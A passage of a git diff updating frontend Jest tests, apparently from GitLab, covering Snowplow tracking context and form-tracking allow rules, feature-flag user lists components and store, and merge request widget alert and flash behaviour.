+ window.gl.snowplowStandardContext = {
+ data: {
+ source: 'custom_source',
+ },
+ };
+
+ expect(getStandardContext().data.source).toBe(SNOWPLOW_JS_SOURCE);
+ });
+
+ it('accepts optional `extra` property', () => {
+ const extra = { foo: 'bar' };
+
+ expect(getStandardContext({ extra }).data.extra).toBe(extra);
+ });
+});
diff --git a/spec/frontend/tracking_spec.js b/spec/frontend/tracking_spec.js
index dd4c8198b72..d8dae2b2dc0 100644
--- a/spec/frontend/tracking_spec.js
+++ b/spec/frontend/tracking_spec.js
@@ -1,14 +1,31 @@
import { setHTMLFixture } from 'helpers/fixtures';
import { TRACKING_CONTEXT_SCHEMA } from '~/experimentation/constants';
import { getExperimentData } from '~/experimentation/utils';
-import Tracking, { initUserTracking, initDefaultTrackers, STANDARD_CONTEXT } from '~/tracking';
+import Tracking, { initUserTracking, initDefaultTrackers } from '~/tracking';
+import getStandardContext from '~/tracking/get_standard_context';
jest.mock('~/experimentation/utils', () => ({ getExperimentData: jest.fn() }));
describe('Tracking', () => {
+ let standardContext;
let snowplowSpy;
let bindDocumentSpy;
let trackLoadEventsSpy;
+ let enableFormTracking;
+
+ beforeAll(() => {
+ window.gl = window.gl || {};
+ window.gl.snowplowStandardContext = {
+ schema: 'iglu:com.gitlab/gitlab_standard',
+ data: {
+ environment: 'testing',
+ source: 'unknown',
+ extra: {},
+ },
+ };
+
+ standardContext = getStandardContext();
+ });
beforeEach(() => {
getExperimentData.mockReturnValue(undefined);
@@ -38,6 +55,10 @@ describe('Tracking', () => {
formTracking: false,
linkClickTracking: false,
pageUnloadTimer: 10,
+ formTrackingConfig: {
+ fields: { allow: [] },
+ forms: { allow: [] },
+ },
});
});
});
@@ -46,12 +67,15 @@ describe('Tracking', () => {
beforeEach(() => {
bindDocumentSpy = jest.spyOn(Tracking, 'bindDocument').mockImplementation(() => null);
trackLoadEventsSpy = jest.spyOn(Tracking, 'trackLoadEvents').mockImplementation(() => null);
+ enableFormTracking = jest
+ .spyOn(Tracking, 'enableFormTracking')
+ .mockImplementation(() => null);
});
it('should activate features based on what has been enabled', () => {
initDefaultTrackers();
expect(snowplowSpy).toHaveBeenCalledWith('enableActivityTracking', 30, 30);
- expect(snowplowSpy).toHaveBeenCalledWith('trackPageView', null, [STANDARD_CONTEXT]);
+ expect(snowplowSpy).toHaveBeenCalledWith('trackPageView', null, [standardContext]);
expect(snowplowSpy).not.toHaveBeenCalledWith('enableFormTracking');
expect(snowplowSpy).not.toHaveBeenCalledWith('enableLinkClickTracking');
@@ -59,10 +83,11 @@ describe('Tracking', () => {
...window.snowplowOptions,
formTracking: true,
linkClickTracking: true,
+ formTrackingConfig: { forms: { whitelist: ['foo'] }, fields: { whitelist: ['bar'] } },
};
initDefaultTrackers();
- expect(snowplowSpy).toHaveBeenCalledWith('enableFormTracking');
+ expect(enableFormTracking).toHaveBeenCalledWith(window.snowplowOptions.formTrackingConfig);
expect(snowplowSpy).toHaveBeenCalledWith('enableLinkClickTracking');
});
@@ -84,34 +109,6 @@ describe('Tracking', () => {
navigator.msDoNotTrack = undefined;
});
- describe('builds the standard context', () => {
- let standardContext;
-
- beforeAll(async () => {
- window.gl = window.gl || {};
- window.gl.snowplowStandardContext = {
- schema: 'iglu:com.gitlab/gitlab_standard',
- data: {
- environment: 'testing',
- source: 'unknown',
- },
- };
-
- jest.resetModules();
-
- ({ STANDARD_CONTEXT: standardContext } = await import('~/tracking'));
- });
-
- it('uses server data', () => {
- expect(standardContext.schema).toBe('iglu:com.gitlab/gitlab_standard');
- expect(standardContext.data.environment).toBe('testing');
- });
-
- it('overrides schema source', () => {
- expect(standardContext.data.source).toBe('gitlab-javascript');
- });
- });
-
it('tracks to snowplow (our current tracking system)', () => {
Tracking.event('_category_', '_eventName_', { label: '_label_' });
@@ -122,7 +119,31 @@ describe('Tracking', () => {
'_label_',
undefined,
undefined,
- [STANDARD_CONTEXT],
+ [standardContext],
+ );
+ });
+
+ it('allows adding extra data to the default context', () => {
+ const extra = { foo: 'bar' };
+
+ Tracking.event('_category_', '_eventName_', { extra });
+
+ expect(snowplowSpy).toHaveBeenCalledWith(
+ 'trackStructEvent',
+ '_category_',
+ '_eventName_',
+ undefined,
+ undefined,
+ undefined,
+ [
+ {
+ ...standardContext,
+ data: {
+ ...standardContext.data,
+ extra,
+ },
+ },
+ ],
);
});
@@ -156,26 +177,23 @@ describe('Tracking', () => {
});
describe('.enableFormTracking', () => {
- it('tells snowplow to enable form tracking', () => {
- const config = { forms: { whitelist: [''] }, fields: { whitelist: [''] } };
- Tracking.enableFormTracking(config, ['_passed_context_']);
+ it('tells snowplow to enable form tracking, with only explicit contexts', () => {
+ const config = { forms: { allow: ['form-class1'] }, fields: { allow: ['input-class1'] } };
+ Tracking.enableFormTracking(config, ['_passed_context_', standardContext]);
- expect(snowplowSpy).toHaveBeenCalledWith('enableFormTracking', config, [
- { data: { source: 'gitlab-javascript' }, schema: undefined },
- '_passed_context_',
- ]);
+ expect(snowplowSpy).toHaveBeenCalledWith(
+ 'enableFormTracking',
+ { forms: { whitelist: ['form-class1'] }, fields: { whitelist: ['input-class1'] } },
+ ['_passed_context_'],
+ );
});
- it('throws an error if no whitelist rules are provided', () => {
- const expectedError = new Error(
- 'Unable to enable form event tracking without whitelist rules.',
- );
+ it('throws an error if no allow rules are provided', () => {
+ const expectedError = new Error('Unable to enable form event tracking without allow rules.');
expect(() => Tracking.enableFormTracking()).toThrow(expectedError);
- expect(() => Tracking.enableFormTracking({ fields: { whitelist: [] } })).toThrow(
- expectedError,
- );
- expect(() => Tracking.enableFormTracking({ fields: { whitelist: [1] } })).not.toThrow(
+ expect(() => Tracking.enableFormTracking({ fields: { allow: true } })).toThrow(expectedError);
+ expect(() => Tracking.enableFormTracking({ fields: { allow: [] } })).not.toThrow(
expectedError,
);
});
@@ -197,7 +215,7 @@ describe('Tracking', () => {
'_label_',
undefined,
undefined,
- [STANDARD_CONTEXT],
+ [standardContext],
);
});
});
@@ -213,13 +231,15 @@ describe('Tracking', () => {
eventSpy = jest.spyOn(Tracking, 'event');
Tracking.bindDocument('_category_'); // only happens once
setHTMLFixture(`
- <input data-track-${term}="click_input1" data-track-label="_label_" value="_value_"/>
- <input data-track-${term}="click_input2" data-track-value="_value_override_" value="_value_"/>
- <input type="checkbox" data-track-${term}="toggle_checkbox" value="_value_" checked/>
+ <input data-track-${term}="click_input1" data-track-label="_label_" value=0 />
+ <input data-track-${term}="click_input2" data-track-value=0 value=0/>
+ <input type="checkbox" data-track-${term}="toggle_checkbox" value=1 checked/>
<input class="dropdown" data-track-${term}="toggle_dropdown"/>
<div data-track-${term}="nested_event"><span class="nested"></span></div>
<input data-track-bogus="click_bogusinput" data-track-label="_label_" value="_value_"/>
<input data-track-${term}="click_input3" data-track-experiment="example" value="_value_"/>
+ <input data-track-${term}="event_with_extra" data-track-extra='{ "foo": "bar" }' />
+ <input data-track-${term}="event_with_invalid_extra" data-track-extra="invalid_json" />
`);
});
@@ -228,7 +248,7 @@ describe('Tracking', () => {
expect(eventSpy).toHaveBeenCalledWith('_category_', 'click_input1', {
label: '_label_',
- value: '_value_',
+ value: '0',
});
});
@@ -242,7 +262,7 @@ describe('Tracking', () => {
document.querySelector(`[data-track-${term}="click_input2"]`).click();
expect(eventSpy).toHaveBeenCalledWith('_category_', 'click_input2', {
- value: '_value_override_',
+ value: '0',
});
});
@@ -252,13 +272,13 @@ describe('Tracking', () => {
checkbox.click(); // unchecking
expect(eventSpy).toHaveBeenCalledWith('_category_', 'toggle_checkbox', {
- value: false,
+ value: 0,
});
checkbox.click(); // checking
expect(eventSpy).toHaveBeenCalledWith('_category_', 'toggle_checkbox', {
- value: '_value_',
+ value: '1',
});
});
@@ -295,6 +315,20 @@ describe('Tracking', () => {
context: { schema: TRACKING_CONTEXT_SCHEMA, data: mockExperimentData },
});
});
+
+ it('supports extra data as JSON', () => {
+ document.querySelector(`[data-track-${term}="event_with_extra"]`).click();
+
+ expect(eventSpy).toHaveBeenCalledWith('_category_', 'event_with_extra', {
+ extra: { foo: 'bar' },
+ });
+ });
+
+ it('ignores extra if provided JSON is invalid', () => {
+ document.querySelector(`[data-track-${term}="event_with_invalid_extra"]`).click();
+
+ expect(eventSpy).toHaveBeenCalledWith('_category_', 'event_with_invalid_extra', {});
+ });
});
describe.each`
@@ -307,8 +341,8 @@ describe('Tracking', () => {
beforeEach(() => {
eventSpy = jest.spyOn(Tracking, 'event');
setHTMLFixture(`
- <input data-track-${term}="render" data-track-label="label1" value="_value_" data-track-property="_property_"/>
- <span data-track-${term}="render" data-track-label="label2" data-track-value="_value_">
+ <input data-track-${term}="render" data-track-label="label1" value=1 data-track-property="_property_"/>
+ <span data-track-${term}="render" data-track-label="label2" data-track-value=1>
Something
</span>
<input data-track-${term}="_render_bogus_" data-track-label="label3" value="_value_" data-track-property="_property_"/>
@@ -323,7 +357,7 @@ describe('Tracking', () => {
'render',
{
label: 'label1',
- value: '_value_',
+ value: '1',
property: '_property_',
},
],
@@ -332,7 +366,7 @@ describe('Tracking', () => {
'render',
{
label: 'label2',
- value: '_value_',
+ value: '1',
},
],
]);
diff --git a/spec/frontend/user_lists/components/user_lists_spec.js b/spec/frontend/user_lists/components/user_lists_spec.js
new file mode 100644
index 00000000000..7a33c6faac9
--- /dev/null
+++ b/spec/frontend/user_lists/components/user_lists_spec.js
@@ -0,0 +1,195 @@
+import { GlEmptyState, GlLoadingIcon } from '@gitlab/ui';
+import { within } from '@testing-library/dom';
+import { mount, createWrapper } from '@vue/test-utils';
+import Vue from 'vue';
+import Vuex from 'vuex';
+import waitForPromises from 'helpers/wait_for_promises';
+import Api from '~/api';
+import UserListsComponent from '~/user_lists/components/user_lists.vue';
+import UserListsTable from '~/user_lists/components/user_lists_table.vue';
+import createStore from '~/user_lists/store/index';
+import TablePagination from '~/vue_shared/components/pagination/table_pagination.vue';
+import { userList } from '../../feature_flags/mock_data';
+
+jest.mock('~/api');
+
+Vue.use(Vuex);
+
+describe('~/user_lists/components/user_lists.vue', () => {
+ const mockProvide = {
+ newUserListPath: '/user-lists/new',
+ featureFlagsHelpPagePath: '/help/feature-flags',
+ errorStateSvgPath: '/assets/illustrations/feature_flag.svg',
+ };
+
+ const mockState = {
+ projectId: '1',
+ };
+
+ let wrapper;
+ let store;
+
+ const factory = (provide = mockProvide, fn = mount) => {
+ store = createStore(mockState);
+ wrapper = fn(UserListsComponent, {
+ store,
+ provide,
+ });
+ };
+
+ const newButton = () => within(wrapper.element).queryAllByText('New user list');
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('without permissions', () => {
+ const provideData = {
+ ...mockProvide,
+ newUserListPath: null,
+ };
+
+ beforeEach(() => {
+ Api.fetchFeatureFlagUserLists.mockResolvedValue({ data: [], headers: {} });
+ factory(provideData);
+ });
+
+ it('does not render new user list button', () => {
+ expect(newButton()).toHaveLength(0);
+ });
+ });
+
+ describe('loading state', () => {
+ it('renders a loading icon', () => {
+ Api.fetchFeatureFlagUserLists.mockReturnValue(new Promise(() => {}));
+
+ factory();
+
+ const loadingElement = wrapper.findComponent(GlLoadingIcon);
+
+ expect(loadingElement.exists()).toBe(true);
+ expect(loadingElement.props('label')).toEqual('Loading user lists');
+ });
+ });
+
+ describe('successful request', () => {
+ describe('without user lists', () => {
+ let emptyState;
+
+ beforeEach(async () => {
+ Api.fetchFeatureFlagUserLists.mockResolvedValue({ data: [], headers: {} });
+
+ factory();
+ await waitForPromises();
+ await Vue.nextTick();
+
+ emptyState = wrapper.findComponent(GlEmptyState);
+ });
+
+ it('should render the empty state', async () => {
+ expect(emptyState.exists()).toBe(true);
+ });
+
+ it('renders new feature flag button', () => {
+ expect(newButton()).not.toHaveLength(0);
+ });
+
+ it('renders generic title', () => {
+ const title = createWrapper(
+ within(emptyState.element).getByText('Get started with user lists'),
+ );
+ expect(title.exists()).toBe(true);
+ });
+
+ it('renders generic description', () => {
+ const description = createWrapper(
+ within(emptyState.element).getByText(
+ 'User lists allow you to define a set of users to use with Feature Flags.',
+ ),
+ );
+ expect(description.exists()).toBe(true);
+ });
+ });
+
+ describe('with paginated user lists', () => {
+ let table;
+
+ beforeEach(async () => {
+ Api.fetchFeatureFlagUserLists.mockResolvedValue({
+ data: [userList],
+ headers: {
+ 'x-next-page': '2',
+ 'x-page': '1',
+ 'X-Per-Page': '2',
+ 'X-Prev-Page': '',
+ 'X-TOTAL': '37',
+ 'X-Total-Pages': '5',
+ },
+ });
+
+ factory();
+ jest.spyOn(store, 'dispatch');
+ await Vue.nextTick();
+ table = wrapper.findComponent(UserListsTable);
+ });
+
+ it('should render a table with feature flags', () => {
+ expect(table.exists()).toBe(true);
+ expect(table.props('userLists')).toEqual([userList]);
+ });
+
+ it('renders new feature flag button', () => {
+ expect(newButton()).not.toHaveLength(0);
+ });
+
+ describe('pagination', () => {
+ let pagination;
+
+ beforeEach(() => {
+ pagination = wrapper.findComponent(TablePagination);
+ });
+
+ it('should render pagination', () => {
+ expect(pagination.exists()).toBe(true);
+ });
+
+ it('should make an API request when page is clicked', () => {
+ jest.spyOn(store, 'dispatch');
+ pagination.vm.change('4');
+
+ expect(store.dispatch).toHaveBeenCalledWith('setUserListsOptions', {
+ page: '4',
+ });
+ });
+ });
+ });
+ });
+
+ describe('unsuccessful request', () => {
+ beforeEach(async () => {
+ Api.fetchFeatureFlagUserLists.mockRejectedValue();
+ factory();
+
+ await Vue.nextTick();
+ });
+
+ it('should render error state', () => {
+ const emptyState = wrapper.findComponent(GlEmptyState);
+ const title = createWrapper(
+ within(emptyState.element).getByText('There was an error fetching the user lists.'),
+ );
+ expect(title.exists()).toBe(true);
+ const description = createWrapper(
+ within(emptyState.element).getByText(
+ 'Try again in a few moments or contact your support team.',
+ ),
+ );
+ expect(description.exists()).toBe(true);
+ });
+
+ it('renders new feature flag button', () => {
+ expect(newButton()).not.toHaveLength(0);
+ });
+ });
+});
diff --git a/spec/frontend/user_lists/components/user_lists_table_spec.js b/spec/frontend/user_lists/components/user_lists_table_spec.js
new file mode 100644
index 00000000000..7f4d510a39c
--- /dev/null
+++ b/spec/frontend/user_lists/components/user_lists_table_spec.js
@@ -0,0 +1,98 @@
+import { GlModal } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import * as timeago from 'timeago.js';
+import UserListsTable from '~/user_lists/components/user_lists_table.vue';
+import { userList } from '../../feature_flags/mock_data';
+
+jest.mock('timeago.js', () => ({
+ format: jest.fn().mockReturnValue('2 weeks ago'),
+ register: jest.fn(),
+}));
+
+describe('User Lists Table', () => {
+ let wrapper;
+ let userLists;
+
+ beforeEach(() => {
+ userLists = new Array(5).fill(userList).map((x, i) => ({ ...x, id: i }));
+ wrapper = mount(UserListsTable, {
+ propsData: { userLists },
+ });
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('should display the details of a user list', () => {
+ expect(wrapper.find('[data-testid="ffUserListName"]').text()).toBe(userList.name);
+ expect(wrapper.find('[data-testid="ffUserListIds"]').text()).toBe(
+ userList.user_xids.replace(/,/g, ', '),
+ );
+ expect(wrapper.find('[data-testid="ffUserListTimestamp"]').text()).toBe('created 2 weeks ago');
+ expect(timeago.format).toHaveBeenCalledWith(userList.created_at);
+ });
+
+ it('should set the title for a tooltip on the created stamp', () => {
+ expect(wrapper.find('[data-testid="ffUserListTimestamp"]').attributes('title')).toBe(
+ 'Feb 4, 2020 8:13am UTC',
+ );
+ });
+
+ it('should display a user list entry per user list', () => {
+ const lists = wrapper.findAll('[data-testid="ffUserList"]');
+ expect(lists).toHaveLength(5);
+ lists.wrappers.forEach((list) => {
+ expect(list.find('[data-testid="ffUserListName"]').exists()).toBe(true);
+ expect(list.find('[data-testid="ffUserListIds"]').exists()).toBe(true);
+ expect(list.find('[data-testid="ffUserListTimestamp"]').exists()).toBe(true);
+ });
+ });
+
+ describe('edit button', () => {
+ it('should link to the path for the user list', () => {
+ expect(wrapper.find('[data-testid="edit-user-list"]').attributes('href')).toBe(userList.path);
+ });
+ });
+
+ describe('delete button', () => {
+ it('should display the confirmation modal', () => {
+ const modal = wrapper.find(GlModal);
+
+ wrapper.find('[data-testid="delete-user-list"]').trigger('click');
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(modal.text()).toContain(`Delete ${userList.name}?`);
+ expect(modal.text()).toContain(`User list ${userList.name} will be removed.`);
+ });
+ });
+ });
+
+ describe('confirmation modal', () => {
+ let modal;
+
+ beforeEach(() => {
+ modal = wrapper.find(GlModal);
+
+ wrapper.find('button').trigger('click');
+
+ return wrapper.vm.$nextTick();
+ });
+
+ it('should emit delete with list on confirmation', () => {
+ modal.find('[data-testid="modal-confirm"]').trigger('click');
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(wrapper.emitted('delete')).toEqual([[userLists[0]]]);
+ });
+ });
+
+ it('should not emit delete with list when not confirmed', () => {
+ modal.find('button').trigger('click');
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(wrapper.emitted('delete')).toBeUndefined();
+ });
+ });
+ });
+});
diff --git a/spec/frontend/user_lists/store/index/actions_spec.js b/spec/frontend/user_lists/store/index/actions_spec.js
new file mode 100644
index 00000000000..c5d7d557de9
--- /dev/null
+++ b/spec/frontend/user_lists/store/index/actions_spec.js
@@ -0,0 +1,203 @@
+import testAction from 'helpers/vuex_action_helper';
+import Api from '~/api';
+import {
+ setUserListsOptions,
+ requestUserLists,
+ receiveUserListsSuccess,
+ receiveUserListsError,
+ fetchUserLists,
+ deleteUserList,
+ receiveDeleteUserListError,
+ clearAlert,
+} from '~/user_lists/store/index/actions';
+import * as types from '~/user_lists/store/index/mutation_types';
+import createState from '~/user_lists/store/index/state';
+import { userList } from '../../../feature_flags/mock_data';
+
+jest.mock('~/api.js');
+
+describe('~/user_lists/store/index/actions', () => {
+ let state;
+
+ beforeEach(() => {
+ state = createState({ projectId: '1' });
+ });
+
+ describe('setUserListsOptions', () => {
+ it('should commit SET_USER_LISTS_OPTIONS mutation', (done) => {
+ testAction(
+ setUserListsOptions,
+ { page: '1', scope: 'all' },
+ state,
+ [{ type: types.SET_USER_LISTS_OPTIONS, payload: { page: '1', scope: 'all' } }],
+ [],
+ done,
+ );
+ });
+ });
+
+ describe('fetchUserLists', () => {
+ beforeEach(() => {
+ Api.fetchFeatureFlagUserLists.mockResolvedValue({ data: [userList], headers: {} });
+ });
+
+ describe('success', () => {
+ it('dispatches requestUserLists and receiveUserListsSuccess ', (done) => {
+ testAction(
+ fetchUserLists,
+ null,
+ state,
+ [],
+ [
+ {
+ type: 'requestUserLists',
+ },
+ {
+ payload: { data: [userList], headers: {} },
+ type: 'receiveUserListsSuccess',
+ },
+ ],
+ done,
+ );
+ });
+ });
+
+ describe('error', () => {
+ it('dispatches requestUserLists and receiveUserListsError ', (done) => {
+ Api.fetchFeatureFlagUserLists.mockRejectedValue();
+
+ testAction(
+ fetchUserLists,
+ null,
+ state,
+ [],
+ [
+ {
+ type: 'requestUserLists',
+ },
+ {
+ type: 'receiveUserListsError',
+ },
+ ],
+ done,
+ );
+ });
+ });
+ });
+
+ describe('requestUserLists', () => {
+ it('should commit RECEIVE_USER_LISTS_SUCCESS mutation', (done) => {
+ testAction(requestUserLists, null, state, [{ type: types.REQUEST_USER_LISTS }], [], done);
+ });
+ });
+
+ describe('receiveUserListsSuccess', () => {
+ it('should commit RECEIVE_USER_LISTS_SUCCESS mutation', (done) => {
+ testAction(
+ receiveUserListsSuccess,
+ { data: [userList], headers: {} },
+ state,
+ [
+ {
+ type: types.RECEIVE_USER_LISTS_SUCCESS,
+ payload: { data: [userList], headers: {} },
+ },
+ ],
+ [],
+ done,
+ );
+ });
+ });
+
+ describe('receiveUserListsError', () => {
+ it('should commit RECEIVE_USER_LISTS_ERROR mutation', (done) => {
+ testAction(
+ receiveUserListsError,
+ null,
+ state,
+ [{ type: types.RECEIVE_USER_LISTS_ERROR }],
+ [],
+ done,
+ );
+ });
+ });
+
+ describe('deleteUserList', () => {
+ beforeEach(() => {
+ state.userLists = [userList];
+ });
+
+ describe('success', () => {
+ beforeEach(() => {
+ Api.deleteFeatureFlagUserList.mockResolvedValue();
+ });
+
+ it('should refresh the user lists', (done) => {
+ testAction(
+ deleteUserList,
+ userList,
+ state,
+ [],
+ [{ type: 'requestDeleteUserList', payload: userList }, { type: 'fetchUserLists' }],
+ done,
+ );
+ });
+ });
+
+ describe('error', () => {
+ beforeEach(() => {
+ Api.deleteFeatureFlagUserList.mockRejectedValue({ response: { data: 'some error' } });
+ });
+
+ it('should dispatch receiveDeleteUserListError', (done) => {
+ testAction(
+ deleteUserList,
+ userList,
+ state,
+ [],
+ [
+ { type: 'requestDeleteUserList', payload: userList },
+ {
+ type: 'receiveDeleteUserListError',
+ payload: { list: userList, error: 'some error' },
+ },
+ ],
+ done,
+ );
+ });
+ });
+ });
+
+ describe('receiveDeleteUserListError', () => {
+ it('should commit RECEIVE_DELETE_USER_LIST_ERROR with the given list', (done) => {
+ testAction(
+ receiveDeleteUserListError,
+ { list: userList, error: 'mock error' },
+ state,
+ [
+ {
+ type: 'RECEIVE_DELETE_USER_LIST_ERROR',
+ payload: { list: userList, error: 'mock error' },
+ },
+ ],
+ [],
+ done,
+ );
+ });
+ });
+
+ describe('clearAlert', () => {
+ it('should commit RECEIVE_CLEAR_ALERT', (done) => {
+ const alertIndex = 3;
+
+ testAction(
+ clearAlert,
+ alertIndex,
+ state,
+ [{ type: 'RECEIVE_CLEAR_ALERT', payload: alertIndex }],
+ [],
+ done,
+ );
+ });
+ });
+});
diff --git a/spec/frontend/user_lists/store/index/mutations_spec.js b/spec/frontend/user_lists/store/index/mutations_spec.js
new file mode 100644
index 00000000000..370838ae5fb
--- /dev/null
+++ b/spec/frontend/user_lists/store/index/mutations_spec.js
@@ -0,0 +1,121 @@
+import { parseIntPagination, normalizeHeaders } from '~/lib/utils/common_utils';
+import * as types from '~/user_lists/store/index/mutation_types';
+import mutations from '~/user_lists/store/index/mutations';
+import createState from '~/user_lists/store/index/state';
+import { userList } from '../../../feature_flags/mock_data';
+
+describe('~/user_lists/store/index/mutations', () => {
+ let state;
+
+ beforeEach(() => {
+ state = createState({ projectId: '1' });
+ });
+
+ describe('SET_USER_LISTS_OPTIONS', () => {
+ it('should set provided options', () => {
+ mutations[types.SET_USER_LISTS_OPTIONS](state, { page: '1', scope: 'all' });
+
+ expect(state.options).toEqual({ page: '1', scope: 'all' });
+ });
+ });
+
+ describe('REQUEST_USER_LISTS', () => {
+ it('sets isLoading to true', () => {
+ mutations[types.REQUEST_USER_LISTS](state);
+ expect(state.isLoading).toBe(true);
+ });
+ });
+
+ describe('RECEIVE_USER_LISTS_SUCCESS', () => {
+ const headers = {
+ 'x-next-page': '2',
+ 'x-page': '1',
+ 'X-Per-Page': '2',
+ 'X-Prev-Page': '',
+ 'X-TOTAL': '37',
+ 'X-Total-Pages': '5',
+ };
+
+ beforeEach(() => {
+ mutations[types.RECEIVE_USER_LISTS_SUCCESS](state, { data: [userList], headers });
+ });
+
+ it('sets isLoading to false', () => {
+ expect(state.isLoading).toBe(false);
+ });
+
+ it('sets userLists to the received userLists', () => {
+ expect(state.userLists).toEqual([userList]);
+ });
+
+ it('sets pagination info for user lits', () => {
+ expect(state.pageInfo).toEqual(parseIntPagination(normalizeHeaders(headers)));
+ });
+
+ it('sets the count for user lists', () => {
+ expect(state.count).toBe(parseInt(headers['X-TOTAL'], 10));
+ });
+ });
+
+ describe('RECEIVE_USER_LISTS_ERROR', () => {
+ beforeEach(() => {
+ mutations[types.RECEIVE_USER_LISTS_ERROR](state);
+ });
+
+ it('should set isLoading to false', () => {
+ expect(state.isLoading).toEqual(false);
+ });
+
+ it('should set hasError to true', () => {
+ expect(state.hasError).toEqual(true);
+ });
+ });
+
+ describe('REQUEST_DELETE_USER_LIST', () => {
+ beforeEach(() => {
+ state.userLists = [userList];
+ mutations[types.REQUEST_DELETE_USER_LIST](state, userList);
+ });
+
+ it('should remove the deleted list', () => {
+ expect(state.userLists).not.toContain(userList);
+ });
+ });
+
+ describe('RECEIVE_DELETE_USER_LIST_ERROR', () => {
+ beforeEach(() => {
+ state.userLists = [];
+ mutations[types.RECEIVE_DELETE_USER_LIST_ERROR](state, {
+ list: userList,
+ error: 'some error',
+ });
+ });
+
+ it('should set isLoading to false and hasError to false', () => {
+ expect(state.isLoading).toBe(false);
+ expect(state.hasError).toBe(false);
+ });
+
+ it('should add the user list back to the list of user lists', () => {
+ expect(state.userLists).toContain(userList);
+ });
+ });
+
+ describe('RECEIVE_CLEAR_ALERT', () => {
+ it('clears the alert', () => {
+ state.alerts = ['a server error'];
+
+ mutations[types.RECEIVE_CLEAR_ALERT](state, 0);
+
+ expect(state.alerts).toEqual([]);
+ });
+
+ it('clears the alert at the specified index', () => {
+ state.alerts = ['a server error', 'another error', 'final error'];
+
+ mutations[types.RECEIVE_CLEAR_ALERT](state, 1);
+
+ expect(state.alerts).toEqual(['a server error', 'final error']);
+ });
+ });
+});
diff --git a/spec/frontend/vue_mr_widget/components/approvals/approvals_spec.js b/spec/frontend/vue_mr_widget/components/approvals/approvals_spec.js
index d6a1c2d3b07..af6624a6c43 100644
--- a/spec/frontend/vue_mr_widget/components/approvals/approvals_spec.js
+++ b/spec/frontend/vue_mr_widget/components/approvals/approvals_spec.js
@@ -1,6 +1,6 @@
import { GlButton } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import Approvals from '~/vue_merge_request_widget/components/approvals/approvals.vue';
import ApprovalsSummary from '~/vue_merge_request_widget/components/approvals/approvals_summary.vue';
import ApprovalsSummaryOptional from '~/vue_merge_request_widget/components/approvals/approvals_summary_optional.vue';
@@ -125,7 +125,7 @@ describe('MRWidget approvals', () => {
});
it('flashes error', () => {
- expect(createFlash).toHaveBeenCalledWith(FETCH_ERROR);
+ expect(createFlash).toHaveBeenCalledWith({ message: FETCH_ERROR });
});
});
@@ -264,7 +264,7 @@ describe('MRWidget approvals', () => {
});
it('flashes error message', () => {
- expect(createFlash).toHaveBeenCalledWith(APPROVE_ERROR);
+ expect(createFlash).toHaveBeenCalledWith({ message: APPROVE_ERROR });
});
});
});
@@ -315,7 +315,7 @@ describe('MRWidget approvals', () => {
});
it('flashes error message', () => {
- expect(createFlash).toHaveBeenCalledWith(UNAPPROVE_ERROR);
+ expect(createFlash).toHaveBeenCalledWith({ message: UNAPPROVE_ERROR });
});
});
});
diff --git a/spec/frontend/vue_mr_widget/components/mr_widget_alert_message_spec.js b/spec/frontend/vue_mr_widget/components/mr_widget_alert_message_spec.js
index 07e869a070f..5d923d0383f 100644
--- a/spec/frontend/vue_mr_widget/components/mr_widget_alert_message_spec.js
+++ b/spec/frontend/vue_mr_widget/components/mr_widget_alert_message_spec.js
@@ -1,76 +1,45 @@
-import { GlLink } from '@gitlab/ui';
-import { shallowMount, createLocalVue } from '@vue/test-utils';
+import { GlLink, GlAlert } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
import MrWidgetAlertMessage from '~/vue_merge_request_widget/components/mr_widget_alert_message.vue';
-describe('MrWidgetAlertMessage', () => {
- let wrapper;
-
- beforeEach(() => {
- const localVue = createLocalVue();
+let wrapper;
- wrapper = shallowMount(localVue.extend(MrWidgetAlertMessage), {
- propsData: {},
- localVue,
- });
+function createComponent(propsData = {}) {
+ wrapper = shallowMount(MrWidgetAlertMessage, {
+ propsData,
});
+}
+describe('MrWidgetAlertMessage', () => {
afterEach(() => {
wrapper.destroy();
});
- describe('when type is not provided', () => {
- it('should render a red message', (done) => {
- wrapper.vm.$nextTick(() => {
- expect(wrapper.classes()).toContain('danger_message');
- expect(wrapper.classes()).not.toContain('warning_message');
- done();
- });
- });
- });
-
- describe('when type === "danger"', () => {
- it('should render a red message', (done) => {
- wrapper.setProps({ type: 'danger' });
- wrapper.vm.$nextTick(() => {
- expect(wrapper.classes()).toContain('danger_message');
- expect(wrapper.classes()).not.toContain('warning_message');
- done();
- });
- });
- });
+ it('should render a GlAert', () => {
+ createComponent({ type: 'danger' });
- describe('when type === "warning"', () => {
- it('should render a red message', (done) => {
- wrapper.setProps({ type: 'warning' });
- wrapper.vm.$nextTick(() => {
- expect(wrapper.classes()).toContain('warning_message');
- expect(wrapper.classes()).not.toContain('danger_message');
- done();
- });
- });
+ expect(wrapper.findComponent(GlAlert).exists()).toBe(true);
+ expect(wrapper.findComponent(GlAlert).props('variant')).toBe('danger');
});
describe('when helpPath is not provided', () => {
- it('should not render a help icon/link', (done) => {
- wrapper.vm.$nextTick(() => {
- const link = wrapper.find(GlLink);
+ it('should not render a help link', () => {
+ createComponent({ type: 'info' });
+
+ const link = wrapper.findComponent(GlLink);
- expect(link.exists()).toBe(false);
- done();
- });
+ expect(link.exists()).toBe(false);
});
});
describe('when helpPath is provided', () => {
- it('should render a help icon/link', (done) => {
- wrapper.setProps({ helpPath: '/path/to/help/docs' });
- wrapper.vm.$nextTick(() => {
- const link = wrapper.find(GlLink);
+ it('should render a help link', () => {
+ createComponent({ type: 'info', helpPath: 'https://gitlab.com' });
+
+ const link = wrapper.findComponent(GlLink);
- expect(link.exists()).toBe(true);
- expect(link.attributes().href).toBe('/path/to/help/docs');
- done();
- });
+ expect(link.exists()).toBe(true);
+ expect(link.attributes('href')).toBe('https://gitlab.com');
});
});
});
diff --git a/spec/frontend/vue_mr_widget/components/mr_widget_pipeline_spec.js b/spec/frontend/vue_mr_widget/components/mr_widget_pipeline_spec.js
index 924dc37aab9..ecaca16a2cd 100644
--- a/spec/frontend/vue_mr_widget/components/mr_widget_pipeline_spec.js
